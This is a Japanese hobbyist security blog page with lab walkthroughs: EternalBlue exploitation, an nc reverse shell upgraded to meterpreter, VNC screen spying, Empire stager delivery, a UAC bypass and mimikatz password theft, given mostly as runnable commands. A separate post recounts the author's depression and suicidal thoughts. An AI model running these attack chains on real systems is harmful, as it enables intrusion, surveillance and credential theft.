ウサギは後退せず、大きな耳で情報集めをする事に験を担ぎ、古来より日本では鎧などにウサギの図柄を取り入れてきたらしい。
読者です 読者をやめる 読者になる 読者になる

うさブロ

ぼっちなうさぎのセキュリティラボ

とある親父の侵入実験【MS17-010の活用】

f:id:appleseedj073:20170503114540p:plain

今更なんだけど最近話題のWannaCryptが利用していることでお馴染みの脆弱性「MS17-010」を利用した攻撃というものを検証してみたいと思う。

itpro.nikkeibp.co.jp

脆弱性に関する細かいことは以下のリンクを参照してください。

マイクロソフト セキュリティ情報 MS17-010 - 緊急

 

今回は、この動画を参考にしています。


Ms17 010 eternalblue

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 (192.168.1.150)

 

1 環境構築

この動画によると、まず、wineをインストールする。

f:id:appleseedj073:20170514223432p:plain

 root@kl-01rbt:~# apt-get update

 root@kl-01rbt:~# apt-get install wine32

我が家の環境では、既にインストールされていた様子

 

次に脆弱性を利用する攻撃モジュールをゲットしてくる。

github.com

f:id:appleseedj073:20170514223719p:plain

 root@kl-01rbt:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

 

落としてきたやつの「deps」と「eternalblue_doublepulsar.rb」を/usr/share/metasploit-framework/modules/exploits/windows/smbにコピーする。この作業は動画のようにGUIでやったほうが簡単かも

f:id:appleseedj073:20170514224035p:plain

 

2 調査

次に対象となるWindows 7がSMBv1を使っているのかを調査する。

調査用のモジュールは最近のアップデートで組み込まれている様子。

f:id:appleseedj073:20170515003126p:plain

 msf > search ms17-010

これでDBを探すと「auxiliary/scanner/smb/smb_ms17_010」という名前の「MS17-010 SMB RCE Detection」をしてくれるモジュールが見つかるので実行

 msf > use auxiliary/scanner/smb/smb_ms17_010
 msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.150
 RHOSTS => 192.168.1.150
 msf auxiliary(smb_ms17_010) > run

調査の結果としては、MS17-010の脆弱性があって何か出来そうな雰囲気を醸し出してくれるw

 

3 攻撃準備 

モジュールを配置したらmetasploitの起動

 root@kl-01rbt:~# msfconsole

起動したら

f:id:appleseedj073:20170514225856p:plain

 msf > search eternalblue

 さっき入れたモジュールが見つかったらいつものように設定していく。今回はやたら設定項目長い・・・。

 

f:id:appleseedj073:20170514231514p:plain

f:id:appleseedj073:20170514231712p:plain

 msf > use exploit/windows/smb/eternalblue_doublepulsar
 msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH  /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 DOUBLEPULSARPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 ETERNALBLUEPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 msf exploit(eternalblue_doublepulsar) > set target 9
 target => 9
 msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.150
 RHOST => 192.168.1.150
 msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/
 WINEPATH => WINEPATH /root/
 msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
 TARGETARCHITECTURE => x86
 msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
 PROCESSINJECT => explorer.exe
 msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100

 

4 攻撃 

これを実行してやると・・・

f:id:appleseedj073:20170514235132p:plain

f:id:appleseedj073:20170515000104p:plain

見事に侵入成功w

 

 

5 結論

この脆弱性自体、3月のアップデートで修正されているんだけど、今回のランサムウェア騒ぎでは適応していなかった(若しくは何かしらの理由で適応できない)環境の端末が感染して大変なことになった。やはり、パッチは公開されたら適用するべきだと思うし、もし何かしらの理由で適用ができないならばしっかりと代替手段を講じるべきだと思う。

ま、ペネトレ仕掛ける側とすると、こんなメジャー級の脆弱性が残ってる中小企業さんとか見つけちゃうと可哀想(ご馳走)に思えちゃうんだけどねw

とある親父の侵入実験【NetcatからMeteroreterへ】

f:id:appleseedj073:20170503114540p:plain

今日のお題は「Netcat」

f:id:appleseedj073:20170514011537j:plain

Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。

Netcat - Wikipedia

 

と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション

これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね

(俺自身のレベルがまだまだ低いからw)

てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Metasploitable2 (192.168.1.200)

 

1 接続

f:id:appleseedj073:20170514012118p:plain

まず、Kali側でポートを指定して待ち受けしてやります。

 

f:id:appleseedj073:20170514012321p:plain

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
 payload => linux/x86/shell/reverse_tcp
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 4444
 LPORT => 4444
 msf exploit(handler) > run

 

これで実行すると待ち受け状態になる

f:id:appleseedj073:20170514012452p:plain

 

そうしたら次はMetasploit側へ

f:id:appleseedj073:20170514012632p:plain

 

metasploitable側からncコマンドを使ってKaliへ接続をします

f:id:appleseedj073:20170514013116p:plain

 nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh

 nc 192.168.1.200 4444 -e /bin/sh

 

そうするとKali側では

f:id:appleseedj073:20170514013330p:plain

metasploitable側からの接続を受けてCommand Shellでのセッションが開く

ここで「control + z」を押してセッションをバックグラウンドへ移行する

 Background session 1? [y/N] y

f:id:appleseedj073:20170514013623p:plain

もとのコンソールに戻ってきたら一度「session」コマンドで確認

f:id:appleseedj073:20170514013902p:plain

 

2 昇格

次にmeterpreterへエスカレーションするモジュールをポストしてやる

 msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
 msf post(shell_to_meterpreter) > set session 1
 session => 1
 msf post(shell_to_meterpreter) > run

f:id:appleseedj073:20170514014922p:plain

payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる

 

「session」コマンドで確認

f:id:appleseedj073:20170514015257p:plain

 

「session -i 2」で、meterpreterセッションに接続

f:id:appleseedj073:20170514015427p:plain

見事にmeterpreterでmetasploitableに接続できている!

 

3 結論

なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」

まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。

 

とりあえず、俺の中でのnetcatへのリベンジ完了!!

 

とある親父の侵入実験【Empire:皇帝の目?鷹の目?】

f:id:appleseedj073:20170503114540p:plain

今回は、とあるシナリオに基づいて実施します。

 

f:id:appleseedj073:20170509144956p:plain

「レッドチームとしては、なんとしてもブルーチームの操作画面を覗き見たい!これまで利用した標的型攻撃で得たブルーチームとのバックドアを利用して画面を盗み出せ!」

 

という命令が出たのでやってみます。

途中までの手順に関しては前々回の「皇帝との共闘」と一緒なんで、その後から書きます。

ra66itblog.hateblo.jp

 

監視モジュール準備

f:id:appleseedj073:20170509153248p:plain

現在接続されているセッションにVNCモジュールを送り込んでやる。

 

 msf exploit(handler) > use post/windows/manage/payload_inject
 msf post(payload_inject) > set payload windows/vncinject/reverse_tcp
 payload => windows/vncinject/reverse_tcp
 msf post(payload_inject) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf post(payload_inject) > set session 1
 session => 1
 msf post(payload_inject) > set handler true
 handler => true

f:id:appleseedj073:20170509155006p:plain

準備ができたら実行

 msf post(payload_inject) > exploit

f:id:appleseedj073:20170509155147p:plain

色々と流れると・・・

 

f:id:appleseedj073:20170509155410p:plain

こんな感じに標的PCとの間にVNCで接続することができる。

 

相手との間の回線速度にもよるけど、案外快適に盗み見することが可能になりますw

 

「これで、ブルーチームの動向を確認することができる!」

 

うつ病な人が死にたくなる理由

f:id:appleseedj073:20170509050512p:plain

最近、例によって不眠症うつ病も出てるみたいで、職場なら大丈夫なんだけど一人になった時に急に泣きたくなる。てか、泣いてしまうw

いきなり電車の中で、おっさんが涙流し始めたらどんだけ気持ち悪いことかwww

 

家に帰ってからも、TVみてるだけで号泣。

深夜アニメ見ても号泣。

アベンジャーズを見ても号泣。

もう何やっても号泣し、辛くなる。

 

そんなうちに「なんでこんなに苦しまないといけないんだろう?」「なんでこんなに泣かないといけないんだろう」って思い始める。苦しむ根本となる仕事や、人間関係なんて原因はさておき、とりあえずこの苦しみから逃れるために「死ねばいいんじゃないかな」なんて考えてしまうのです。

 

きっとこの負のゾーンに入ってしまっている時に自殺を選んでしまうんだろうなぁって思いました。自分は、死にたくなったタイミングで家族が帰ってきて死ぬ暇がなくなり助かりましましたw

とある親父の侵入実験【Empire:皇帝と共闘】

f:id:appleseedj073:20170503114540p:plain

寝るのを諦めて始発まで起きていることにしました。

前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 SP1(192.168.1.10)

 

1 接続

Windowsとの接続のウンヌンカンヌンは端折ります。

現在、標的となるWindows端末と接続ができている状態(前回と同じ感じ)になっている。

f:id:appleseedj073:20170504024704p:plain

次にmeterpreterとの接続に使用するリスナーを用意してやります。

 (Empire: listeners) > set Name meterpreter
 (Empire: listeners) > set Port 8888
 (Empire: listeners) > set Type meter
 (Empire: listeners) > execute

f:id:appleseedj073:20170504025003p:plain

ここまでで下ごしらえ完了

 

2 譲渡

まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。

 (Empire: agents) > interact FZWBYTCSG1NH3P42

そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。

 (Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter

f:id:appleseedj073:20170504025639p:plain

設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。

 (Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
 (Empire: code_execution/invoke_shellcode) > set Lport 8888
 (Empire: code_execution/invoke_shellcode) > set Payload reverse_http

f:id:appleseedj073:20170504030324p:plain

これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている

 

3 共闘

次にMetasploit側の設定を行う。

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_http
 payload => windows/meterpreter/reverse_http
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 8888
 LPORT => 8888
 msf exploit(handler) > set exitonsession false

とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」

で、ここまで設定したらmetasploitは走らせて待機。

 msf exploit(handler) > exploit -j

f:id:appleseedj073:20170504031054p:plain

さぁ、共闘の準備は整った!

Empireへ戻り実行してみよう!!

 (Empire: code_execution/invoke_shellcode) > execute

f:id:appleseedj073:20170504031346p:plain

Empire側でJobが走ると・・・

f:id:appleseedj073:20170504031524p:plain

見事にmeterpreter側でsessionが、確立する。

 

f:id:appleseedj073:20170504031728p:plain

ここからは慣れ親しんだMeterpreterが相手をしてくれるということになるのである。

 

Metasploitにしか出回っていないようなコードをどうしても試したいときは、こういった手段を使うことでEmpireのSessionをMeterpreterへ渡すことができるということを覚えていてほしい。

とある親父の侵入実験【Empire:皇帝の力 後編】

f:id:appleseedj073:20170503114540p:plain

とりあえず続きします。

前回までに、Empireで作成したbatファイルをWindowsに渡して起動。見事にリバース接続が成功した状態で終わりました。

f:id:appleseedj073:20170503122017p:plain

こんな感じで、相手の情報がほぼほぼ丸見え。usernameからhostname、OSもわかってたw

次は、この端末のパスワードを奪取しようと思います。Windowsのパスワードを取ると行ったらmimikatz。このツールが有名であって尚且つ、このEmpireとの相性がいい(俺の勝手な想像w)というわけでパスワードの奪取までやってみよう!

 

5 パスワード奪取

上図の状態でmimikazを実行するモジュールを選択する。

 (Empire: TPESSRK3BLUPTA4G) > usemodule credentials/mimikatz/logonpasswords
 (Empire: credentials/mimikatz/logonpasswords) > info

f:id:appleseedj073:20170503194022p:plain

mimikazのlogonpasswordを割り出すモジュールを呼び出したところ。今回は、特に設定を変えることなくこのまま実行

 

f:id:appleseedj073:20170503194225p:plain

見事にエラー!!

このモジュールを動かすには、高い権限がいるっぽい(適当な意訳)

ってことでUACをbypassしてみる。

  (Empire: credentials/mimikatz/logonpasswords) > usemodule privesc/bypassuac

f:id:appleseedj073:20170503194808p:plain

ここではリスナーの指定が必須項目なのでリスナーを指定して実行。

 

 (Empire: privesc/bypassuac) > set Listener test
 (Empire: privesc/bypassuac) > execute
 [>] Module is not opsec safe, run? [y/N] y

f:id:appleseedj073:20170503195422p:plain

実行するとJobが始まって・・・

 

f:id:appleseedj073:20170503195504p:plain

新エージェントが追加される。

 

このエージェントを確認すると

f:id:appleseedj073:20170503195546p:plain

2段目に新しく追加されているのが確認できる。そして、Usernameを見てみると新しく追加された方には「*」が付加されているのが確認できる。そこで、今度は新しいエージェントにインタラクトしてみる。

 

 (Empire: agents) > interact EBGZFMZ4EVCTBBSA

f:id:appleseedj073:20170503195933p:plain

同じ端末であることは確認できるのだが一番下の項目「high_integrity」をみると0から1に変更されている。この状態で先ほど失敗したmimikazのモジュールを実行してみる。

 (Empire: EBGZFMZ4EVCTBBSA) > usemodule credentials/mimikatz/logonpasswords
 (Empire: credentials/mimikatz/logonpasswords) > execute

 

f:id:appleseedj073:20170503200329p:plain

しばらくするとJobが始まって・・・

 

f:id:appleseedj073:20170503202135p:plain

見事に取れましたw

Username : Victim

Password : password

 

6 結論

このEmpireはMetasploitに取って代わるツールではないけど、個人を狙った標的型攻撃では、とても便利なツールが用意されていて「標的型攻撃演習」というシナリオではとても便利そう。でも、使い方を間違えるととても危険なツールであることには間違いないと思った。今後もこのEmpireを使った攻撃シナリオについて検証してみたい。

 

 

とある親父の侵入実験【Empire:皇帝の力 前編】

f:id:appleseedj073:20170503114540p:plain

はい、久しぶりにペネトレします。散々紹介してきたEmpireってツールを使って対象端末のパスワードを調べてみようかと思います。

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 SP1(192.168.1.10)

 

1 待受準備

まずは、Kali側でEmpireを起動しリスナーモードを立ち上げる。

f:id:appleseedj073:20170503115145p:plain

 (Empire) > listeners

 (Empire: listeners) >

 

 (Empire: listeners) > info

f:id:appleseedj073:20170503115447p:plain

infoコマンドで見るとこんな感じ。今回は何も変更せずにこのまま「test」って名前のリスナーを作る。

 

f:id:appleseedj073:20170503115708p:plain

このまま実行

 (Empire: listeners) > execute

「list」で確認すると上図のようになってる。これで待ち受け完了。

 

2 侵入準備

次にこのリスナーに接続に来るファイルを作成する。macroにしたりexeにしたりと色々できるけど今回はお手軽なbatファイルを作成する。

 (Empire: listeners) > usestager launcher_bat (リスナーの名前:今回はtest)
 (Empire: stager/launcher_bat) > info

f:id:appleseedj073:20170503120256p:plain

とりあえずこんな感じになります。これもこのままのデフォルト設定で作成します。

 (Empire: stager/launcher_bat) > execute

 

f:id:appleseedj073:20170503120446p:plain

/tmp配下に作成された様子。

f:id:appleseedj073:20170503120608p:plain

 

とりあえず今回は、こいつをWebサーバを立ち上げてデリバリーする。

 python -m SimpleHTTPServer 80

f:id:appleseedj073:20170503120857p:plain

 

3 配達・実行

今度はWindows側でブラウザを立ち上げて先ほど立ち上げたWebサーバにアクセスする。

f:id:appleseedj073:20170503121211p:plain

真ん中あたりに作成したbatがあるので、これをダウンロードして実行

 

f:id:appleseedj073:20170503121322p:plain

とりあえず「実行」する。

 

4 侵入完了

Kali側に戻って確認するとリバース接続があるのが確認できる。

f:id:appleseedj073:20170503121616p:plain

 (Empire: stager/launcher_bat) > agents

 

エージェントモードに切り替えることで、端末から接続があるのが確認できる。次にこの端末にインタラクトする。

 (Empire: agents) > interact (セッションID:TPESSRK3BLUPTA4G)

 (Empire: TPESSRK3BLUPTA4G) > info

f:id:appleseedj073:20170503122017p:plain

無事に侵入できたところで一旦終了w